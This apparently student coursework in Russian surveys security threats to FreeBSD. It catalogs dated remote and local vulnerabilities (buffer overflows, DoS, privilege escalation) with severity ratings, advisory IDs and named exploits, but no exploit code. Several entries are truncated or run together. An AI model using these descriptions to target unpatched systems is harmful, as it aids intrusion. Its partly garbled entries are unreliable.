Содержание
Введение
FreeBSD - это мощная операционная система для компьютеров архитектур, совместимых с x86, AMD64, Alpha, IA-64, PC-98 и UltraSPARC®. Она основана на BSD, версии UNIX®, созданной в Калифорнийском Университете в Беркли. Она разрабатывается и поддерживается большой командой разработчиков.Имеет выдающиеся возможности:
Исключительный набор сетевых возможностей, высокая производительность, средства обеспечения безопасности и совместимости с другими ОС - вот те современные возможности FreeBSD, которые зачастую всё ещё отсутствуют в других, даже лучших коммерческих, операционных системах.
Представляет мощное решение для Internet:
FreeBSD является идеальной платформой для построения Internet или Intranet. Эта система предоставляет надёжные даже при самой интенсивной нагрузке сетевые службы, и эффективное управление памятью, что позволяет обеспечивать приемлемое время отклика для сотен и даже тысяч одновременно работающих пользовательских задач.
Поддерживает огромное количество приложений
Качество FreeBSD вкупе с современным дешёвым и производительным аппаратным обеспечением ПК делают эту систему очень экономичной альтернативой коммерческим рабочим станциям UNIX®. Она прекрасно подходит для большого количества приложений как в качестве сервера, так и рабочей станции.
FreeBSD распространяется свободно
FreeBSD распространяется бесплатно и поставляется со всеми исходными текстами.
Бюллетени безопасности FreeBSD
Служба информационной безопасности FreeBSD выпускает бюллетени безопасности для нескольких разрабатываемых веток FreeBSD. Это Ветки -STABLE и Ветки Security. (Бюллетени не выпускаются для Ветки -CURRENT.)
Обычно здесь присутствует только одна ветка -STABLE
Каждому релизу FreeBSD поставлена в соответствие ветка безопасности (Security Branch). Метки веток безопасности именуются как RELENG_4_6. Соответствующие построенные версии носят названия типа FreeBSD 4.6-RELEASE-p7.
Каждая ветка поддерживается службой безопасности ограниченное время, обычно до 12 месяцев после релиза. Эти сроки в будущем могут быть увеличены, но только исключительные обстоятельства могут привести к отказу от поддержки ветки раньше указанной даты.
Ветка Релиз Дата выхода Ожидаемое время жизни RELENG_4_8 4.8-RELEASE Апрель 3, 2003 Март 31, 2005 RELENG_4_10 4.10-RELEASE Май 27, 2004 Май 31, 2006 RELENG_4_11 4.11-RELEASE Январь 25, 2005 Январь 31, 2007 RELENG_5_3 5.3-RELEASE Ноябрь 6, 2004 Октябрь 31, 2006Более старые релизы не поддерживаются.
Определение цели дипломной работы
Угроза - это потенциальная возможность определенным образом нарушить информационную безопасность.
Попытка реализации угрозы называется атакой, а тот, кто предпринимает такую попытку, - злоумышленником. Потенциальные злоумышленники называются источниками угрозы.
Чаще всего угроза является следствием наличия уязвимых мест в защите информационных систем (таких, например как ошибки в программном обеспечении).
Промежуток времени от момента, когда появляется возможность использовать слабое место, и до момента, когда пробел ликвидируется, называется окном опасности, ассоциированным с данным уязвимым местом. Пока существует окно опасности, возможны успешные атаки на ИС.
В силу конкретности моего исследования, буду рассматривать преднамеренные угрозы доступности, целостности и конфиденциальности нацеленные против операционной системы FreeBSD, сервисов представляемых этой ОС, а также данных хранящихся в рамках это ОС.
Цель данной курсовой работы состоит в исследовании угроз безопасности связанных с ОС FreeBSD, проверка их опасности и возможности их реализации. Разработать методику проверки системы на наличие в ней уязвимых мест. На основе этой информации будут предложены варианты парирования угрозам.
В первой части исследования рассмотрим уязвимые места ОС FreeBSD. Для каждого из них определим характер угроз и опасность возможной атаки.
Отдельно будем рассматривать угрозы с источником вне операционной системы - т.е. удаленные, локальные угрозы внутри рассматриваемой ОС (локальной атакой называется атака из командной оболочки ОС), а также угрозы направленные на сервисы и портированные приложения.
ОС FreeBSD отличает то, что большинство приложений написанных сторонними производителями переделываются специально под эту операционную систему. Таким образом, в приложениях (таких как Web, Ftp, Mail сервисы) имеет место эффект уменьшения уязвимых мест по сравнению с другими ОС *nix.
Во второй части мы рассмотрим разные методы определения версии ОС, как начального этапа при проверке системы на наличие уязвимостей. Так же определим способы защиты системы от точного определения версии ОС злоумышленником.
В третьей части рассмотрим основные защитные механизмы ОС FreeBSD, методы тестирования наличие в них уязвимых мест, а так же способы нейтрализовать эти уязвимости.
В четвертой части приведен пример использования методики тестирования реальной системы на наличие уязвимых мест, а также приведены рекомендации для парирования связанных с этим угроз.
В пятой части приведены рекомендации по конфигурации системы и её сервисов для построения защищенного сервера.
Обзор уязвимостей FreeBSD
Рассмотрим уязвимые места ОС FreeBSD. Для каждого из них определим характер угроз и опасность возможной атаки.Часть 1. Удаленные уязвимые места FreeBSD
Часть 2. Локальные уязвимые места FreeBSD
Часть 3. уязвимые места в портах(ports) FreeBSD
Удаленные уязвимые места FreeBSD
Серьезная DoS-уязвимость в FreeBSD 4.0 3.4
Опубликованно: 10.05.2000 Источник: BUGTRAQ Тип: remote Опасность: 7 Описание: : IP-пакет с некорректным смещением параметров IP (например timestamp) вызывает аварийную остановку системы. Затронутые продукты: FreeBSD 3.4 FreeBSD 4.0 FreeBSD 5.0 Оригинал: FreeBSD-SA-00:23.ip-options Exploit: *BSD ip option DoS Приложение 30Уязвимое место в FreeBSD 4.1 (IP Spoofing)
Опубликованно: 06.10.2000 Источник: BUGTRAQ Тип: remote Опасность: 7 Описание: Алгоритм генерации псевдо-случайной последовательности позволяет по трем пакетам определить состояние генератора псевдо-случайно последовательности используемого при задании номеров последовательностей и воспроизвести его на удаленной машине, что позволяет перезватить любое TCP-соединение. Затронутые продукты: FreeBSD 3.5 FreeBSD 4.0-4.2 FreeBSD 5.0 Оригинал: HERT advisory: FreeBSD IP Spoofing FreeBSD-SA-01:39.tcp-isn.asc Приложение 24 + ExploitСерьезная уязвимость в fingerd FreeBSD 4.1
Опубликованно: 13.10.2000 Источник: Buqtrack Тип: remote Опасность: 8 Описание: fingerd позволяет обратиться к любому файлу с правами пользователя nobody. Затронутые продукты: FreeBSD 4.1 и ранние Оригинал: Przemyslaw Frasunek, enabling fingerd makes files world readable FreeBSD-SA-04:17.procfs Приложение 102Уязвимое место в libc (getnameinfo) FreeBSD 4.2
Опубликованно: 02.11.2000 Источник: FREEBSD Тип: remote Опасность: 5 Описание: Длинное имя хоста вызывает переполнение буфера в функции getnameinfo(), в отдельных случаях может быть использовано для DoS против сервера. Затронутые продукты: FreeBSD 4.2 4.1 Оригинал: FreeBSD-SA-00:63.getnameinfo.asc Приложение 27Серьезные уязвмости в KTH Kerberos IV FreeBSD 4.2
Опубликованно: 10.12.2000 Источник: BUGTRAQ Тип: remote Опасность: 9 Описание: Пользователь может указать krb4_proxy для перенаправления запроса на авторизацию собственному прокси-серверу. В сочетании с переполнением буфера это дает возможность удаленного root-доступа. Локальный пользователь может указать собственные конфигурационные файлы, которые будут использованы для авторизации. Это дает возможность локально получить root-доступ. Затронутые продукты: FreeBSD 3.5 FreeBSD 4.2 Оригинал: Vulnerabilities in KTH Kerberos IV FreeBSD-SA-01:25.kerberosIV Приложение 29Уязвимое место в ppp nat в FreeBSD 4.1
Опубликованно: 15.11.2000 Источник: FreeBSD Тип: remote Опасность: 5 Описание: команда nat deny_incoming не работает с нестандартными типами протоколов (например IPSec). Затронутые продукты: FreeBSD 3.5 FreeBSD 4.1 Оригинал: FreeBSD-SA-00:70.ppp-nat Приложение 28Уязвимое место в telnetd FreeBSD 4.1 3.5
Опубликованно: 15.11.2000 Источник: FREEBSD Тип: remote Опасность: 4 Описание: : telnetd Не проверяет значение пользовательских переменных, что ползволяет например, указать переменной TERMCAP На файл принадлежащий другому пользователю. Указав на большой файл можно вызвать DoS против системы. Затронутые продукты: FreeBSD 4.1 FreeBSD 3.5 Оригинал: FreeBSD-SA-00:69.telnetd Приложение 31DoS через открытые/полуоткрытые соединения FreeBSD 4.0
Опубликованно: 05.12.2000 Источник: buqtrack Тип: remote Опасность: 6 Описание: Различные сервисы в разных ОС перестают обслуждивать пользователей если установлено более определенного числа TCP-соединений. Затронутые продукты: FreeBSD 4.0 Оригинал: Modified version of the IP stack penetration tool NAPTHA Advisory Updated S.I.N.N. is a research DoS tool Приложение 14Уязвимое место в ipfw FreeBSD 4.2 3.5
Опубликованно: 24.01.2001 Источник: FREEBSD Тип: remote Опасность: 5 Описание: Правило established не срабатывает на пакетах, где вместе с SYN установлен флаг ECE. Затронутые продукты: FreeBSD 4.2 FreeBSD 3.5 Оригинал: FreeBSD-SA-01:08.ipfw Exploit: ecepass - proof of concept code for FreeBSD ipfw bypassДырка в inetd FreeBSD 4.2 3.5 (wheel file fragment reading)
Опубликованно: 30.01.2001 Источник: FREEBSD Тип: remote Опасность: 6 Описание: Удаленно можно прочитать первые 16 символов (кроме пробелов) любого файла к которому имеет доступ группа wheel. Затронутые продукты: FreeBSD 3.5 FreeBSD 4.2 Оригинал: FreeBSD-SA-01:11.inetd Приложение 25Очень серьезная ошибка в FreeBSD 4.2 ftpd (glob expansion)
Опубликованно: 10.04.2001 Источник: BUGTRAQ Тип: remote Опасность: 10 Описание: Переполнение буфера при работе с функцией glob() - при разборе пути запрошенного файла. Затронутые продукты: FreeBSD 4.2 Оригинал: Globbing Vulnerabilities in Multiple FTP OpenBSD/FreeBSD ftpd/glob exploit (breaks chroot) Приложение 1DoS против timed и rwhod в FreeBSD 4.2 3.5
Опубликованно: 13.03.2001 Источник: FREEBSD Тип: remote Опасность: 5 Описание: Некорректные пакеты приводят к краху сервиса. Затронутые продукты: FreeBSD 3.5 4.2 Оригинал: FreeBSD-SA-01:29.rwhod.asc FreeBSD-SA-01:28.timed.asc Приложение 10Buffer overflow in FreeBSD 4.3 5.0 telnetd
Опубликованно: 19.07.2001 Источник: BUGTRAQ Тип: remote Опасность: 10 Описание: It's possible to overflow buffer with AYT telnet protocol command. Затронутые продукты: FreeBSD 5.0 FreeBSD 4.3 Оригинал: Sebastian, multiple vendor telnet daemon vulnerability Zenith Parsec, ADV/EXP: netkit <=0.17 in.telnetd remote buffer overflow Exploit: telnetd exploit code Telnetd AYT overflow scanner, by Security Point(R) Приложение 4netkill - FIN_WAIT_1 DoS FreeBSD 4.3
Опубликованно: 25.07.2001 Источник: BUGTRAQ Тип: remote Опасность: 5 Описание: Устанавливаются многочисленные TCP-соединения, в которых после 1го ACK-пакета содержащего запрос к серверу перестают подтверждаться TCP-пакеты. Это приводит к подвисанию соединений (в случе HTTP - в фазе FIN_WAIT_1, в других случаях - в Established. Затронутые продукты: FreeBSD 4.3 Оригинал: stanislav shalunov, netkill - generic remote DoS attack Exploit: netkill code Приложение 15Некорректная обработка "me" в ipfw в FreeBSD 4.3
Опубликованно: 17.08.2001 Источник: FREEBSD Тип: remote Опасность: 5 Описание: При использовании адреса одного из концов ppp-интерфейса пакет может обойти правило в котором используется 'me'. Затронутые продукты: FreeBSD 4.3 Оригинал: FreeBSD-SA-01:53.ipfw Приложение 18Проблемы с tcp_wrappers в FreeBSD 4.3
Опубликованно: 24.08.2001 Источник: FREEBSD Тип: remote Опасность: 5 Описание: Режим PARANOID hostname chacking не работает так, как заявлено. Затронутые продукты: FreeBSD 4.3 и предыдущие Оригинал: FreeBSD-SA-01:56.tcp_wrappers.asc Приложение 22Переполнения буфера в демоне lpd FreeBSD 4.3
Опубликованно: 30.08.2001 Источник: X-FORCE Тип: remote Опасность: 8 Описание: Переполнение буфера позволяет выполнять код с привилегиями lpd. Кроме того, можно овладеть любым файлом, к которому имеет доступ lpd Затронутые продукты: FreeBSD 4.3 и предыдущие Оригинал: X-FORCE, ISSalert: ISS Advisory: Remote Buffer Overflow Vulnerability in BSD Line Printer Daemon Приложение 5DoS против FreeBSD 4.3 фргаментированными пакетами
Опубликованно: 30.05.2001 Источник: BUGTRAQ Тип: remote Опасность: 5 Описание: Большое количество фрагментированных пакетов приводит к отказу сервера.Несанкционированный доступ через kerberos5 su в FreeBSD 4.4
Опубликованно: 29.01.2002 Источник: BUGTRAQ Тип: remote Опасность: 7 Описание: При логине root не требуется пароль Kerberos 5 имеет свою версию 'su', утилиты которая может быть использована для смены пользователя не выходя из сеанса. Эта утилита 'k5su'.Проблемы с KAME IPSec в FreeBSD 4.5
Опубликованно: 05.03.2002 Источник: BUGTRAQ Тип: remote Опасность: 5 Описание: Не проверяется политика для передаваемых пакетов в режиме туннелирования. Затронутые продукты: FreeBSD 4.5 Оригинал: forwarding doesn't consult inbound SPD in KAME-derived IPsec Приложение 43Уязвимость при обработке широковещательных IP TCP соединений в FreeBSD 5.0
Опубликованно: 19.03.2002 Источник: BUGTRAQ Тип: remote Опасность: 5 Описание: Принимаются широковещательные пакеты TCP SYN.DoS против FreeBSD 4.5 syncache/syncookies
Опубликованно: 16.04.2002 Источник: FreeBSD Тип: remote Опасность: 5 Описание: 1. Когда SYN был принят через syncookie, он использует неинициализированный указатель для поиска TCP опции для нового сокета. Этот указатель может быть пустым указателем, который приведет к краху системы. 2. Syncache вход создается, когда SYN прибывает в слушающийся сокет. Если приложение, которое создавало сокет, было убито и перезапущено, то оно заново создает слушающийся сокет с другим inpcb, тогда последующий ACK (или дубликат SYN) будет соответствовать старому inpcb указателю. В зависимости от содержания указателя, уязвимость может приводить к краху системы. Затронутые продукты: FreeBSD 4.5 Оригинал: FreeBSD-SA-02:20.syncache.asc Приложение 7Утечка памяти в Routing Table в FreeBSD 4.5
Опубликованно: 17.04.2002 Источник: FreeBSD Тип: remote Опасность: 5 Описание: При определенных обстоятельствах система FreeBSD может потерпеть крах. Когда ICMP ECHO ответ послан уязвимой системе, число количества хостов с текущими соединениями через такой маршрут никогда не уменьшится после прекращения ICMP трафика. Память, распределенная для таблицы маршрутизации, никогда не будет освобождена. В результате может происходить исчерпание доступной памяти. Затронутые продукты: FreeBSD 4.4-4.5 Оригинал: FreeBSD-SA-02:21 Приложение 36Удаленный отказ в acces фильтрах FreeBSD 4.5
Опубликованно: 29.05.2002 Источник: FreeBSD Тип: remote Опасность: 6 Описание: По сообщениям, можно добится отказа в обслуживании службе, если используются фильтры ввода (accept_filter) FreeBSD . Это происходит из-за ошибки в выполнении этих фильтров. Можно заполнить очередь подключения, посылая повторные 'неполные' запросы (например, частичные HTTP запросы). Пока время подключения не истекло, другие клиенты не смогут обращаться к службе. Затронутые продукты: FreeBSD 4.5 Оригинал: FreeBSD-SA-02:26.accept.asc Приложение 6fingerprint изза Пропуска DF бита в FreeBSD 5.0
Опубликованно: 10.06.2002 Источник: BUGTRAQ Тип: remote Опасность: 3 Описание: В RFC 1191 определено понятие Path MTU Discovery, которое может использоваться для определения максимального MTU для IP подключения. На практике, когда PMTUD используется в связке с TCP, три начальных стадии установления подключения выполнены с установленным DF (Don't Fragment) битом во всех пакетах. По сообщениям, некоторые версии BSD, не устанавливают DF бит на ACK пакетах. Это позволяет злонамеренной удаленной стороне дактилоскопировать(fingerprint) операционную систему уязвимого сервера, инициализируя подключение и просматривая зафиксированный сетевой трафик. Затронутые продукты: FreeBSD 5.0 и возможно в предыдущих версиях Оригинал: Path MTU Discovery and missing DF bit Приложение 11Переполнение буфера в DNS FreeBSD 4.6 и предыдущих
Опубликованно: 26.06.2002 Источник: FreeBSD Тип: remote Опасность: 6 Описание: Злоумышленник может составить специальное DNS сообщение которое использует уязвимое место в приложениях использующих resolver и выполнить произвольный код с правами приложения. Затронутые продукты: FreeBSD 4.6 и все предыдущие релизы Оригинал: FreeBSD-SA-02:28.resolv Приложение 2Удаленный DoS в NFS сервере в FreeBSD 4.6
Опубликованно: 7.08.2002 Источник: FreeBSD Тип: удаленная Опасность: 5 Описание: Network File System (NFS) позволяет хосту экспортировать файловую систему или ее часть, так, чтобы другие хосты могли обратиться к ним по сети и установить их, как будто они были на местных дисках. NFS использует структуру Sun Remote Procedure Call (RPC).Переполнение буфера в декодере Sun RPC XDR в FreeBSD 4.6.1 и более ранних
Опубликованно: 01.08.2002 Источник: FreeBSD Тип: библиотека Опасность: 5 Описание: Любое приложение использующее Sun RPC может быть уязвимо для переполнения буфера. В зависимости от приложения это уязвимое место может использоваться для выполнения произвольного кода. Многие сервисы основанные на RPC запускаются от имени суперпользователя (такие как NFS, NIS сервер, rpc.statd и другие) и поэтому данная уязвимость должна считатся повышенной опасности. Хотя по умолчанию в FreeBSD нет включенных по умолчанию rpc сервисов. Затронутые продукты: FreeBSD 4.6.1 и все предыдущие Оригинал: FreeBSD-SA-02:34.rpc.asc Приложение 20Переполнение буфера в DNS resolver в FreeBSD 4.7 и предыдущих
Опубликованно: 12.11.2002 Источник: FreeBSD Тип: remote Опасность: 5 Описание: Злоумышленник , на DNS запрос, может отправить поддельный специально сконструированный ответ который не поместится в буффер. Из-за этого у некоторых сервисов может произойти отказ в обслуживании. Затронутые продукты: Оригинал: FreeBSD-SA-02:42.resolv.asc Приложение 19Множество уязвимых мест в протоколе BIND FreeBSD 4.4 - 4.7
Опубликованно: 15.11.2002 Источник: FreeBSD Тип: remote Опасность: 7 Описание: Уязвимость переполнения BIND SIG Cached RR. Удаленный атакующий может заставить DNS сервер с включенной рекурсией выполнить произвольный код с привелегиями процесса сервиса имен.Уязвимое место в механизме SYN cookies в FreeBSD 4.5-4.7 5.0
Опубликованно: 24.02.2003 Источник: FreeBSD Тип: remote Опасность: 7 Описание: Как только установленны syncookie, атакующий может сконструировать правильный ISN номер до того как сменится ключ (до 4 секунд), Возможность создать верный ISN можеть использоваться для подделки TCP соединения - точно таким же способом который использовался в методе предсказания ISN номеров. Подделка пакетов позволит атакующему обойти списки доступа основанные на IP-адресах (использзуемые в TCP-wrappers и многих фаирволах). Затронутые продукты: FreeBSD 4.5 - 4.7 FreeBSD 5.0 Оригинал: FreeBSD-SA-03:03: syncookies Приложение 21OpenSSL timing-based SSL/TLS attack FreeBSD 4.7 5.0 и предыдущие
Опубликованно: 25.02.2003 Источник: FreeBSD Тип: remote Опасность: 5 Описание: Злоумышленник имеющий достаточные права (для внедрения между клиентом и сервером) может перехватить исходные данные из шифрованных потоков (in TLS/SSL using block ciphers in CBC mode). Затронутые продукты: Оригинал: FreeBSD-SA-03:02: openssl Приложение 17Realpath() FreeBSD 4.8 adn 5.0 buffer overflow
Опубликованно: 05.08.2003 Источник: BUGTRAQ Тип: library Опасность: 8 Описание: переполнение в функции fb_realpath() при задании длинных путей в некоторых FTP коммандах. Затронутые продукты: FreeBSD 4.2-4.8, FreeBSD 5.0 Оригинал: Single byte buffer overflow in realpath(3) Exploit: Off-by-One Error in realpath() lukemftpdСлабая конфигурация по умолчанию для InetD демона в FreeBSD 4.8
Опубликованно: 07.09.2003 Источник: BUGTRAQ Тип: удаленная Опасность: 6 Описание: Уязвимость обнаружена в Internet Services Daemon. В конфигурации по умолчанию на большинстве FreeBSD/linux инсталляций, удаленный пользователь может завесить работу службы, используя уязвимость, обнаруженную более 11 лет назад.DoS против FreeBSD 4.9 5.1 arp
Опубликованно: 25.09.2003 Источник: FreeBSD Тип: remote Опасность: 5 Описание: Уязвимость обнаружена в FreeBSD. Злонамеренный пользователь в локальной сети может вызвать отказ в обслуживании. Функция arplookup() не удаляет неиспользуемые ARP записи в КЭШе, при ответе на ARP запрос. В результате пользователь может затопить систему множеством поддельных ARP запросов в течении короткого периода времени, чтобы вызвать утечку ресурсов в системе. Затронутые продукты: FreeBSD 4.3-4.9 5.0-1 Оригинал: FreeBSD-SA-03:14.arp.asc Приложение 8OpenSSH buffer management error FreeBSD 4.0-4.8-5.2
Опубликованно: 16.09.2003 Источник: FreeBSD Тип: remote Опасность: 5 Описание: Удаленный злоумышленник может вывести из строя сервис OpenSSH. Эту уязвимость нельзя использовать для выполнения произвольного кода в FreeBSD. Затронутые продукты: FreeBSD 4.0-4.8 5.0-5.2 Оригинал: FreeBSD-SA-03:12 Приложение 16ISAKMPd KAME Racoon - FreeBSD 4.9
Опубликованно: 05.11.03 Источник: BUGTRAQ Тип: remote Опасность: 5 Описание: Многочисленные недостатки в реализации RFC 2407-2407. Затронутые продукты: FreeBSD 4.9 Оригинал: SECURITEAM, [NEWS] Multiple Payload Handling Flaws in ISAKMPd Thomas Walpuski, multiple payload handling flaws in isakmpd, again Thomas Walpuski, Re: multiple payload handling flaws in isakmpd, again Thomas Walpuski, unauthorized deletion of IPsec (and ISAKMP) SAs in racoon Thomas Walpuski, unauthorized deletion of IPsec SAs in isakmpd, still Приложение 12Удаленный DoS против FreeBSD 4.9 5.2
Опубликованно: 03.03.2004 Источник: FreeBSD Тип: удаленная Опасность: 6 Описание: Отказ в обслуживании обнаружен в FreeBSD ядре. Удаленный пользователь может заставить целевую систему исчерпать пул сетевых буферов и прекратить обрабатывать новые подключения.Локальные уязвимые места FreeBSD
Уязвимое место ncurses под FreeBSD 3.0
Опубликованно: 10.05.2000 Источник: FreeBSD Тип: local Опасность: 5 Описание: Переполнение буфера в библиотеке libmytinfo при разборе TERMCAP Затронутые продукты: FreeBSD 3.0 Оригинал: FreeBSD-SA-00:17.libmytinfo Приложение 72Локальная DoS FreeBSD 3.4 4.0 5.0
Опубликованно: 26.05.2000 Источник: FreeBSD Тип: local Опасность: 7 Описание: Недокументированный системный вызов, используемый в ipcs, неиспользующий проверку ACL позволяет любому пользователю заблокировать выход приложений. Затронутые продукты: FreeBSD 3.4 4.0 5.0 Оригинал: FreeBSD-SA-00:19.semconfig Приложение 87Локальный DoS в FreeBSD 3.3
Опубликованно: 02.06.2000 Источник: FreeBSDsec Тип: local Опасность: 4 Описание: Команда dd if=Уязвимое место в libedit FreeBSD 3.5 4.0 5.0
Опубликованно: 06.07.2000 Источник: FREEBSD Тип: local Опасность: 4 Описание: libedit ищет конфигурационный файл в текущей директории, что может быть использовано для подмены файла с целью обмана пользователя. Затронутые продукты: FreeBSD 3.5 4.0 5.0 Оригинал: FreeBSD-SA-00:24.libedit Приложение 81Уязвимое место в linux-подсистеме FreeBSD 3.5-4.1-5.0
Опубликованно: 29.08.2000 Источник: FREEBSD Тип: local Опасность: 8 Описание: Из-за особенностей эмуляции файловой системе при определенных условиях пользователь может запустить собственные LKM (Loadable Kernel Mode) получив доступ ко всей системе. Затронутые продукты: FreeBSD 3.5 4.0 5.0 Оригинал: FreeBSD-SA-00:42.linux Приложение 82DoS в FreeBSD 3.5 4.1 5.0 _ ELF-Файлы
Опубликованно: 29.08.2000 Источник: FREEBSD Тип: local Опасность: 5 Описание: Некорректная структура исполняемого ELF-Файла может привести к краху системы. Затронутые продукты: FreeBSD 5.0 FreeBSD 4.1 FreeBSD 3.5 Оригинал: FreeBSD-SA-00:41.elf Приложение 58Уязвимое место в catopen (libc) FreeBSD 3.5 - 4.1 - 5.0
Опубликованно: 28.09.2000 Источник: FREEBSD Тип: local Опасность: 6 Описание: В дополнение к ошибке форматной строки в catopen/setlocale в catopen так же имеется переполнение буфера при разборе локальных переменных окружения. Затронутые продукты: FreeBSD 3.5 4.1 5.0 и более ранних Оригинал: FreeBSD-SA-00:53.catopen Приложение 79Серьезная уязвимость в ncurses FreeBSD 3.5 4.1 5.0
Опубликованно: 10.10.2000 Источник: BUGTRAQ Тип: библиотека Опасность: 8 Описание: Классическое переполнение буфера при обработке пользовательского файла .terminfo Затронутые продукты: FreeBSD 5.0 4.2 3.5 Оригинал: Jouko Pynnonen, ncurses buffer overflows FreeBSD-SA-04:17.procfs Приложение 103Ошибка форматной строки утилиты top в FreeBSD 3.5 4.1
Опубликованно: 02.11.2000 Источник: FreeBSD Тип: local Опасность: 5 Описание: Ошибка форматной строки позволяет получить привилегии группы kmem Затронутые продукты: FreeBSD 3.5 4.1 и более ранние Оригинал: FreeBSD-SA-00:62.top freebsd x86 top exploitУязвимое место в утилитах chpass FreeBSD 3.5 4.0
Опубликованно: 05.10.2000 Источник: BUGTRAQ Тип: local Опасность: 9 Описание: Утилиты chfn/chpass/chsh/ypchfn/ypchpass/ypchsh/passwd содержат уязвимость форматной строки. Затронутые продукты: FreeBSD 3.5 4.0 и более ранние Оригинал: FreeBSD-SA-00:58.chpass freebsd x86 top exploitУязвимое место в procfs в FreeBSD 3.5 4.2
Опубликованно: 18.12.2000 Источник: BUGTRAQ Тип: local Опасность: 9 Описание: Третий раз (с 1997 года) одна и таже дырка в procfs в BSD . Затронутые продукты: FreeBSD 3.5 4.2 Оригинал: FreeBSD-SA-00:77.procfs Exploiting Kernel Buffer Overflows FreeBSD Style jail(2) break & security level exploit (procfs)Несколько уязвимых мест в crontab FreeBSD 3.5 4.0-4.1
Опубликованно: 24.01.2001 Источник: FreeBSD Тип: local Опасность: 7 Описание: Можно открыть любой файл в формает Crontab, в т.ч. расписания других пользователей.Уязвимое место в periodic FreeBSD 4.1
Опубликованно: 30.01.2001 Источник: FreeBSD Тип: local Опасность: 5 Описание: Создаются временные файлы небезопасным образом. Затронутые продукты: FreeBSD 4.1 Оригинал: FreeBSD-SA-01:12.periodic Приложение 83Уязвимое место в sort FreeBSD 3.5 - 4.2
Опубликованно: 30.01.2001 Источник: FreeBSD Тип: local Опасность: 5 Описание: Небезопасная работа с временными файлами. Затронутые продукты: FreeBSD 3.5 4.2 и более ранние Оригинал: FreeBSD-SA-01:13.sort Приложение 84Уязвимое место в ufs ext2fs FreeBSD 3.5 4.2
Опубликованно: 23.03.2001 Источник: FreeBSD Тип: local Опасность: 5 Описание: Локальный пользователь может получить доступ к содержимому файлов, которые были удалены. Затронутые продукты: FreeBSD 3.5 4.2 и более ранние Оригинал: FreeBSD-SA-01:30.ufs-ext2fs Приложение 98Уязвимое место в clean-tmps в FreeBSD 4.3
Опубликованно: 26.05.2001 Источник: FREEBSD Тип: local Опасность: 5 Описание: Можно удалить любые файлы в корневом каталоге. Затронутые продукты: Оригинал: 4.3 Security: local DoS via clean-tmps FreeBSD 4.3 local DoS via clean-tmpsПроблемы с обработчиками сигналов в FreeBSD 4.3
Опубликованно: 10.07.2001 Источник: Buqtrack Тип: local Опасность: 8 Описание: При выполнении exec() не все обработчики сигналов очищаются, что позволяет встроить свой код в suid-приложение. Затронутые продукты: FreeBSD 4.3 Оригинал: FreeBSD-SA-01:42.signal FreeBSD 4.3 local root Приложение 111Локальное повышение полномочий до root для FreeBSD 4.3
Опубликованно: 11.07.2001 Источник: Securitylab Тип: local Опасность: 8 Описание: Найдена проблема в обработчике сигналов rfork(RFPROC|RFSIGSHARE). При выполнении команды exec() этот сигнал не очищается, что позволяет злоумышленнику встроить любой код в suid-приложение. Затронутые продукты: FreeBSD 4.3 и более ранних Оригинал: Локальный root для FreeBSD 4.3 Приложение 89 + эксплоитУязвимое место в fts из libc FreeBSD 4.3
Опубликованно: 17.08.2001 Источник: FreeBSD Тип: local Опасность: 5 Описание: Сконструировав специальные имена файлов можно выйти за пределы дерева директорий. Затронутые продукты: FreeBSD 4.3 Оригинал: FreeBSD-SA-01:40.fts Приложение 68Неправомочный доступ в procfs в FreeBSD до 4.3
Опубликованно: 23.08.2001 Источник: FreeBSD Тип: local Опасность: 7 Описание: Procfs - процесс файловой системы, который представляет интерфейс файловой системы системной таблице процесса, вместе со связанными данными. Procfs обеспечивает доступ к пространству памяти процессов через синтетический /proc/{pid}/mem файл, подчиненным проверкам управления доступом.Некоректные павила rmuser в FreeBSD 4.3
Опубликованно: 05.09.2001 Источник: FreeBSD Тип: local Опасность: 4 Описание: При изменении passwd-Файлов сначала создается новый файл и лишь потом устанавливаются корректные разрешения. Затронутые продукты: FreeBSD 4.3 и ранние Оригинал: FreeBSD-SA-01:59.rmuser Приложение 100Уязвимое место в OPEN SSH для FreeBSD до 4.4
Опубликованно: 04.12.2001 Источник: FreeBSD Тип: local Опасность: 8 Описание: Злоумышленник который может успешно аутентифицироватся используя открытый ключ может заставить /usb/bin/login выполнить произвольный код от имени суперпользователя. Если не включена директива 'UseLogin' в конфигурационном файле sshd, тогда система не имеет этой уязвимости. Затронутые продукты: FreeBSD 4.4 и ранние Оригинал: FreeBSD-SA-01:63.openssh Эксплоит: FreeBSD openssh эксплоитУязвимое место в AIO FreeBSD 4.2-4.4
Опубликованно: 11.12.2001 Источник: BUGTRAQ Тип: local Опасность: 6 Описание: AIO - POSIX стандарт для асинхронного ввода - вывода. При некоторых условиях, намеченные операции AIO сохраняются после выполнения, позволяя произвольные наложения записей в памяти нового процесса. Комбинируя с возможностью выполнять suid программы, уязвимость может повышать привилегии. В настоящее время VFS_AIO не допускается в значении по умолчанию в конфигурации ядра FreeBSD. Затронутые продукты: FreeBSD 4.2-4.4 Оригинал: David Rufino, AIO vulnerability Эксплоит: FreeBSD AIO exploitУязвимые места Kerberos 5 в FreeBSD 4.4
Опубликованно: 18.01.2002 Источник: FreeBSD Тип: local Опасность: 5 Описание: В некоторых ситуациях процессы которые были запущены от имени root, но в последствии лишенные администраторских привилегий могут снова их получить через вызыв 'k5su'. Затронутые продукты: FreeBSD 4.4 Оригинал: FreeBSD-SA-02:07.k5su.asc Приложение 96Ошибка операции exec() ядра FreeBSD 4.5
Опубликованно: 24.01.2002 Источник: FreeBSD Тип: local Опасность: 5 Описание: Локальный пользователь может увеличить свои права в локальной системе. Затронутые продукты: FreeBSD 4.5 и ранние Оригинал: FreeBSD-SA-02:08.exec Приложение 92Уязвимость в fstatfs ядра FreeBSD 4.4
Опубликованно: 06.02.2002 Источник: FreeBSD Опасность: 4 Тип: local Описание: На уязвимой системе FreeBSD где смотирован procfs, непривилегированный локольный пользователь может вызвать панику ядра. Затронутые продукты: FreeBSD 4.4 и более ранние Оригинал: FreeBSD-SA-02:09.fstatfs Приложение 108Уязвимость double free() в zlib FreeBSD 4.5
Опубликованно: 18.03.2002 Источник: FreeBSD Тип: local Опасность: 5 Описание: Если злоумышленник сможет передать специально составленный блок неправильно сжатой информации приложению которое использует zlib, тогда при декомпресси информации возможно выполнение неправильной операции приложением, что может привести к его краху. Затронутые продукты: FreeBSD 4.5 и более ранние Оригинал: FreeBSD-SA-02:18.zlib Приложение 104Опасность в stdio в ядре FreeBSD 4.x - 4.5
